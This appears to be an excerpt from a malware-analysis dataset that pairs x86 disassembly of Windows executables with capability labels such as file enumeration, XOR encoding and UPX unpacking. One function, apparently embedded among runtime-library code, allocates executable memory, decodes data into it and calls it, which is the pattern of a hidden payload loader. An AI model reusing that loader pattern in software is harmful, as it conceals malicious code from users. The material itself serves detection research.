joyce8/EMBER2024-capa huggingface dataset:
Function at 0x421dbd
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x482e00]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x421e08
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00421f5c
test al, al
jne 0x421e02
sub edx, 2
cmp edx, edi
jne 0x421de8
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x421e2a
lea eax, [edi + 2]
cmp edx, eax
je 0x421e2a
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00421d09
add esp, 0x10
jmp 0x421f24
push esi
lea ecx, [ebp - 0x255]
call fcn.00421f5c
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x421e6d
push dword [ebp - 0x25c]
jmp 0x421e1a
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x421eaa
cmp word [ebp - 0x226], 0
je 0x421ecb
cmp word [ebp - 0x226], ax
jne 0x421eaa
cmp word [ebp - 0x224], 0
je 0x421ecb
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00421d09
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x421f17
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x421e84
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x421eff
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x421f24
push 0x421b39
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00427730
add esp, 0x10
jmp 0x421ef4
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040cde2
leave
ret

Function at 0x429200
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42922d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42922d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x42a696
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
sar eax, 2
push edi
mov edi, dword [ebp + 0x14]
test eax, eax
je 0x42a716
push esi
xor esi, esi
cmp dword [ebp + 0x18], esi
jbe 0x42a715
push ebx
mov ebx, 0x484c50
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
push str.Own_head
push ebx
mov byte [edi + esi], al
call fcn.0040151b
push eax
call fcn.00402dcf
mov al, byte [edi + esi]
add al, 0x4e
xor al, 0xdc
push str.Earth
push ebx
mov byte [edi + esi], al
call fcn.0040151b
push eax
call fcn.00402dcf
mov al, byte [edi + esi]
xor al, 0xac
sub al, 0x65
xor al, 0x22
sub al, 0x73
push 0x42b5b8
mov byte [edi + esi], al
call fcn.0041236e
xor byte [edi + esi], al
add esp, 0x1c
inc esi
cmp esi, dword [ebp + 0x18]
jb 0x42a6b8
pop ebx
pop esi
lea ecx, [ebp + 8]
call fcn.004065b2
pop edi
pop ebp
ret 0x14
Function at 0x412565
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004123e4

Function at 0x41695c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004162ca

Function at 0x416967
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416505

Function at 0x41cee0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1a000]
push edi
or ebp, 0xffffffff
jmp 0x41cf02
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41cf09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41cef8
mov eax, 1
add ebx, ebx
jne 0x41cf1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41cf10
jne 0x41cf2c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cf10
xor ecx, ecx
sub eax, 3
jb 0x41cf40
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41cfb2
mov ebp, eax
add ebx, ebx
jne 0x41cf4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41cf58
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41cf7c
inc ecx
add ebx, ebx
jne 0x41cf68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41cf5d
jne 0x41cf79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cf5d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41cf9c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41cf8d
jmp 0x41cefe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41cf9c
add edi, ecx
jmp 0x41cefe
pop esi
mov edi, esi
mov ecx, 0x157
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41cfba
cmp byte [edi], 0
jne 0x41cfba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41cfbf
lea edi, [esi + 0x1a000]
mov eax, dword [edi]
or eax, eax
je 0x41d02e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1d0b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1d100]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41cfec
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1d104]
or eax, eax
je 0x41d028
mov dword [ebx], eax
add ebx, 4
jmp 0x41d009
call dword [esi + 0x1d108]
popal
jmp 0x403ab4
Function at 0x420562
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00420204

Function at 0x42056d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00420393

Function at 0x420967
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040d9f0
mov eax, dword [0x4d8a00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041e133
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4209a9
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x420b05
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00429400
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4db450]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00421706
mov ecx, dword [esi*4 + 0x4db450]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x420afe
cmp eax, dword [edi + ecx + 0x24]
jne 0x420afe
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x420afe
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00421706
add esp, 0x14
test edx, edx
jl 0x420afe
jg 0x420a74
test eax, eax
jb 0x420afe
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x420afe
jl 0x420a8e
cmp dword [ebp - 0x1008], eax
ja 0x420afe
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x420aac
test ebx, ebx
je 0x420ae5
cmp ecx, edi
jae 0x420ae5
mov al, byte [ecx]
cmp al, 0xd
jne 0x420ac6
lea eax, [edi - 1]
cmp ecx, eax
jae 0x420ad2
cmp byte [ecx + 1], 0xa
jne 0x420ad2
inc ecx
jmp 0x420ad2
movzx eax, al
movsx eax, byte [eax + 0x4d8cc8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x420aac
cmp edx, ebx
jne 0x420aac
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x420b03
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040cde2
leave
ret
Function at 0x420ba4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4db450]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x420be4
cmp byte [ebx], 0xa
jne 0x420be4
or byte [eax + edi + 0x28], 4
jmp 0x420be9
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x420ce7
mov al, byte [edx]
cmp al, 0x1a
je 0x420cc9
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x420c18
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x420c3d
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x420c47
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x420bfa
jmp 0x420ce7
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x420cc4
cmp dword [ebp - 0xc], 0
je 0x420cc4
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x4db450]
test byte [eax + edi + 0x28], 0x48
je 0x420c9e
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x420c89
mov byte [esi], dl
jmp 0x420c9a
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4db450]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x420ce7
cmp byte [ebp - 1], 0xa
jne 0x420cad
cmp esi, ebx
jne 0x420cad
mov byte [esi], 0xa
jmp 0x420ce6
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00421724
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x420ce7
mov byte [esi], 0xd
jmp 0x420ce6
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x4db450]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x420ce3
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x420ce7
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x420cf0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x4db450]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x420d33
cmp word [esi], dx
jne 0x420d33
or byte [edi + eax + 0x28], 4
jmp 0x420d38
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x420e8b
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x420e6b
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x420d7a
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x420db0
cmp eax, edx
jae 0x420dbc
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x420d52
jmp 0x420e8b
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x420e67
cmp dword [ebp - 0x14], 0
je 0x420e67
mov eax, dword [ebx*4 + 0x4db450]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x420e3f
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x420e08
mov word [esi], cx
jmp 0x420e3b
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x4db450]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x4db450]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x4db450]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x420e8b
pop ebx
cmp word [ebp - 4], bx
jne 0x420e50
cmp esi, dword [ebp + 0xc]
jne 0x420e50
mov word [esi], bx
jmp 0x420e88
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00421724
add esp, 0x10
cmp word [ebp - 4], bx
je 0x420e8b
push 0xd
jmp 0x420e84
mov ecx, dword [ebx*4 + 0x4db450]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x420e82
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x420e8b
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x421dbd
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4d8a00]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x421e08
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00421f5c
test al, al
jne 0x421e02
sub edx, 2
cmp edx, edi
jne 0x421de8
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x421e2a
lea eax, [edi + 2]
cmp edx, eax
je 0x421e2a
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00421d09
add esp, 0x10
jmp 0x421f24
push esi
lea ecx, [ebp - 0x255]
call fcn.00421f5c
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x421e6d
push dword [ebp - 0x25c]
jmp 0x421e1a
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x421eaa
cmp word [ebp - 0x226], 0
je 0x421ecb
cmp word [ebp - 0x226], ax
jne 0x421eaa
cmp word [ebp - 0x224], 0
je 0x421ecb
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00421d09
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x421f17
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x421e84
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x421eff
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x421f24
push 0x421b39
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00427730
add esp, 0x10
jmp 0x421ef4
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040cde2
leave
ret

Function at 0x429200
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42922d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42922d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x42a696
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
sar eax, 2
push edi
mov edi, dword [ebp + 0x14]
test eax, eax
je 0x42a716
push esi
xor esi, esi
cmp dword [ebp + 0x18], esi
jbe 0x42a715
push ebx
mov ebx, 0x4da850
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
push str.Own_head
push ebx
mov byte [edi + esi], al
call fcn.0040151b
push eax
call fcn.00402dcf
mov al, byte [edi + esi]
add al, 0x4e
xor al, 0xdc
push str.Earth
push ebx
mov byte [edi + esi], al
call fcn.0040151b
push eax
call fcn.00402dcf
mov al, byte [edi + esi]
xor al, 0xac
sub al, 0x65
xor al, 0x22
sub al, 0x73
push 0x42b5b8
mov byte [edi + esi], al
call fcn.0041236e
xor byte [edi + esi], al
add esp, 0x1c
inc esi
cmp esi, dword [ebp + 0x18]
jb 0x42a6b8
pop ebx
pop esi
lea ecx, [ebp + 8]
call fcn.004065b2
pop edi
pop ebp
ret 0x14
Function at 0x7c34100e
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
mov eax, dword [0x7c38b2ac]
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
xor ebx, ebx
xor esi, esi
cmp eax, ebx
push 2
pop ebp
jne 0x7c3410c5
call edi
mov esi, eax
cmp esi, ebx
je 0x7c34800f
mov dword [0x7c38b2ac], 1
cmp esi, ebx
je 0x7c348030
cmp word [esi], bx
mov eax, esi
je 0x7c34106e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add eax, ebp
cmp word [eax], bx
jne 0x7c341060
add eax, ebp
cmp word [eax], bx
jne 0x7c341060
mov edi, dword [sym.imp.kernel32.dll_WideCharToMultiByte]
push ebx
push ebx
push ebx
sub eax, esi
push ebx
sar eax, 1
inc eax
push eax
push esi
push ebx
push ebx
mov dword [esp + 0x34], eax
call edi
mov ebp, eax
cmp ebp, ebx
je 0x7c3410b5
push ebp
call sym.MSVCR71.dll_malloc
cmp eax, ebx
pop ecx
mov dword [esp + 0x10], eax
je 0x7c3410b5
push ebx
push ebx
push ebp
push eax
push dword [esp + 0x24]
push esi
push ebx
push ebx
call edi
test eax, eax
je 0x7c34803d
mov ebx, dword [esp + 0x10]
push esi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
cmp eax, 1
jne 0x7c348050
jmp 0x7c341044
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x78
jne 0x7c348026
mov eax, ebp
mov dword [0x7c38b2ac], eax
jmp 0x7c3410c5
mov eax, dword [0x7c38b2ac]
jmp 0x7c3410c5
call edi
mov esi, eax
cmp esi, ebx
je 0x7c348058
jmp 0x7c34104c
push dword [esp + 0x10]
call sym.MSVCR71.dll_free
pop ecx
mov dword [esp + 0x10], ebx
jmp 0x7c3410b1
cmp eax, ebp
je 0x7c34805f
cmp eax, ebx
je 0x7c34805f
xor eax, eax
jmp 0x7c3410be
call dword [sym.imp.kernel32.dll_GetEnvironmentStrings]
mov esi, eax
cmp esi, ebx
je 0x7c348058
cmp byte [esi], bl
je 0x7c348079
inc eax
cmp byte [eax], bl
jne 0x7c34806f
inc eax
cmp byte [eax], bl
jne 0x7c34806f
sub eax, esi
inc eax
mov ebp, eax
push ebp
call sym.MSVCR71.dll_malloc
mov edi, eax
cmp edi, ebx
pop ecx
jne 0x7c34808f
xor edi, edi
jmp 0x7c34809a
push ebp
push esi
push edi
call fcn.7c348894
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
mov eax, edi
jmp 0x7c3410be
Function at 0x7c347632
Capabilities:
Terminate process

Disassembly:
push 8
call fcn.7c348894
jmp 0x7c347643
pop ecx
pop ecx
push 0x7c38cc90
push 0x7c38cc88
call sym.MSVCR71.dll__initterm
pop ecx
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x7c3476ce
jmp 0x7c3476b6
pop ecx
ret
ret
push 8
push 0x7c37f0d0
call fcn.7c34230b
jmp 0x7c3423d9
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x7c390f88], esi
jne 0x7c347664
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov dword [0x7c390f84], esi
mov al, byte [ebp + 0x10]
mov byte [0x7c390f80], al
cmp dword [ebp + 0xc], edi
jne 0x7c3423e7
cmp dword [0x7c38b2cc], edi
je 0x7c3476a2
mov eax, dword [0x7c38b2c8]
sub eax, 4
mov dword [0x7c38b2c8], eax
cmp eax, dword [0x7c38b2cc]
jb 0x7c3476a2
mov eax, dword [eax]
cmp eax, edi
je 0x7c347683
call eax
jmp 0x7c347683
push 0x7c38cca4
push 0x7c38cc94
call sym.MSVCR71.dll__initterm
jmp 0x7c3423e5
cmp dword [ebp + 0x10], edi
jne 0x7c3476e3
mov dword [0x7c390f88], esi
push dword [ebp + 8]
call fcn.7c348cd5
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x7c342407
push 8
call fcn.7c348894
jmp 0x7c342406
call fcn.7c342346
jmp 0x7c342408

Function at 0x7c348894
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x7c3488a3
pop dword [ebp - 0x28]
mov eax, 0x3ae03fb2
add eax, 0x415448f1
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x390d0
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x389a
mov ebx, eax
mov edx, 0x7c396000
add edx, dword [ebp - 0x28]
mov edi, 0xdbeb5d32
add edi, 0x328f5f01
add dword [ebp - 0x1c], ebx
mov esi, dword [edx]
xor dword [ebp - 0xc], ecx
sub esi, edi
add dword [ebp - 0xc], ebx
mov dword [ebx], esi
sub dword [ebp - 0x24], 0x78028b55
add ebx, 0xad408ee1
add ebx, 0x52bf7123
add edx, 0xc8814c73
sub edx, 0xc8814c6f
loop 0x7c3488f1
add eax, 0xc2189845
sub eax, 0xc217c30a
xor ebx, ebx
add ebx, eax
add eax, 0x54a2ef58
add eax, 0xab5d10ad
mov ecx, 0xf9257f7c
sub ecx, 0x7cf17f7c
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x7c348cd5
Capabilities:
Terminate process

Disassembly:
push str.mscoree.dll
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
test eax, eax
je 0x7c348cfa
push str.CorExitProcess
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
test eax, eax
je 0x7c348cfa
push dword [esp + 4]
call eax
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_ExitProcess]